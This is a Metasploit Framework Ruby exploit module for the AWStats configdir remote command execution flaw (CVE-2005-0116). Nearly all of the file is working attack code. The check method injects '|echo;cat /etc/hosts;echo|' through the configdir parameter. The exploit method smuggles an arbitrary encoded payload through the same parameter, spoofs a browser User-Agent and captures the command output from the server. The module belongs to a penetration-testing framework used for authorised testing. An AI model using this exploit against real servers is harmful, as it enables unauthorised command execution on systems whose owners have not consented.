| 1 |
## |
|---|
| 2 |
# $Id$ |
|---|
| 3 |
## |
|---|
| 4 |
|
|---|
| 5 |
## |
|---|
| 6 |
# This file is part of the Metasploit Framework and may be subject to |
|---|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit |
|---|
| 8 |
# Framework web site for more information on licensing and terms of use. |
|---|
| 9 |
# http://metasploit.com/projects/Framework/ |
|---|
| 10 |
## |
|---|
| 11 |
|
|---|
| 12 |
|
|---|
| 13 |
require 'msf/core' |
|---|
| 14 |
|
|---|
| 15 |
module Msf |
|---|
| 16 |
|
|---|
| 17 |
class Exploits::Unix::Webapp::AWStats_ConfigDir_Execution < Msf::Exploit::Remote |
|---|
| 18 |
|
|---|
| 19 |
include Exploit::Remote::HttpClient |
|---|
| 20 |
|
|---|
| 21 |
def initialize(info = {}) |
|---|
| 22 |
super(update_info(info, |
|---|
| 23 |
'Name' => 'AWStats configdir Remote Command Execution', |
|---|
| 24 |
'Description' => %q{ |
|---|
| 25 |
This module exploits an arbitrary command execution vulnerability in the |
|---|
| 26 |
AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 |
|---|
| 27 |
are vulnerable. |
|---|
| 28 |
}, |
|---|
| 29 |
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ], |
|---|
| 30 |
'License' => MSF_LICENSE, |
|---|
| 31 |
'Version' => '$Revision$', |
|---|
| 32 |
'References' => |
|---|
| 33 |
[ |
|---|
| 34 |
['OSVDB', '13002'], |
|---|
| 35 |
['BID', '12298'], |
|---|
| 36 |
['CVE', '2005-0116'], |
|---|
| 37 |
['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'], |
|---|
| 38 |
['MIL', '8'], |
|---|
| 39 |
], |
|---|
| 40 |
'Privileged' => false, |
|---|
| 41 |
'Payload' => |
|---|
| 42 |
{ |
|---|
| 43 |
'DisableNops' => true, |
|---|
| 44 |
'Space' => 512, |
|---|
| 45 |
}, |
|---|
| 46 |
'Platform' => 'unix', |
|---|
| 47 |
'Arch' => ARCH_CMD, |
|---|
| 48 |
'Targets' => [[ 'Automatic', { }]], |
|---|
| 49 |
'DisclosureDate' => 'Jan 15 2005', |
|---|
| 50 |
'DefaultTarget' => 0)) |
|---|
| 51 |
|
|---|
| 52 |
register_options( |
|---|
| 53 |
[ |
|---|
| 54 |
OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), |
|---|
| 55 |
], self.class) |
|---|
| 56 |
end |
|---|
| 57 |
|
|---|
| 58 |
def check |
|---|
| 59 |
res = send_request_cgi({ |
|---|
| 60 |
'uri' => datastore['URI'], |
|---|
| 61 |
'vars_get' => |
|---|
| 62 |
{ |
|---|
| 63 |
'configdir' => '|echo;cat /etc/hosts;echo|' |
|---|
| 64 |
} |
|---|
| 65 |
}, 25) |
|---|
| 66 |
|
|---|
| 67 |
if (res and res.body.match(/localhost/)) |
|---|
| 68 |
return Exploit::CheckCode::Vulnerable |
|---|
| 69 |
end |
|---|
| 70 |
|
|---|
| 71 |
return Exploit::CheckCode::Safe |
|---|
| 72 |
end |
|---|
| 73 |
|
|---|
| 74 |
def exploit |
|---|
| 75 |
command = Rex::Text.uri_encode(payload.encoded) |
|---|
| 76 |
urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|" |
|---|
| 77 |
|
|---|
| 78 |
res = send_request_raw({ |
|---|
| 79 |
'uri' => urlconfigdir, |
|---|
| 80 |
'method' => 'GET', |
|---|
| 81 |
'headers' => |
|---|
| 82 |
{ |
|---|
| 83 |
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', |
|---|
| 84 |
'Connection' => 'Close', |
|---|
| 85 |
} |
|---|
| 86 |
}, 25) |
|---|
| 87 |
|
|---|
| 88 |
if (res) |
|---|
| 89 |
print_status("The server returned: #{res.code} #{res.message}") |
|---|
| 90 |
|
|---|
| 91 |
m = res.body.match(/YYY\n(.*)\nYYY/m) |
|---|
| 92 |
|
|---|
| 93 |
if (m) |
|---|
| 94 |
print_status("Command output from the server:") |
|---|
| 95 |
print("\n" + m[1] + "\n\n") |
|---|
| 96 |
else |
|---|
| 97 |
print_status("This server may not be vulnerable") |
|---|
| 98 |
end |
|---|
| 99 |
else |
|---|
| 100 |
print_status("No response from the server") |
|---|
| 101 |
end |
|---|
| 102 |
end |
|---|
| 103 |
|
|---|
| 104 |
end |
|---|
| 105 |
end |
|---|
| 106 |
|
|---|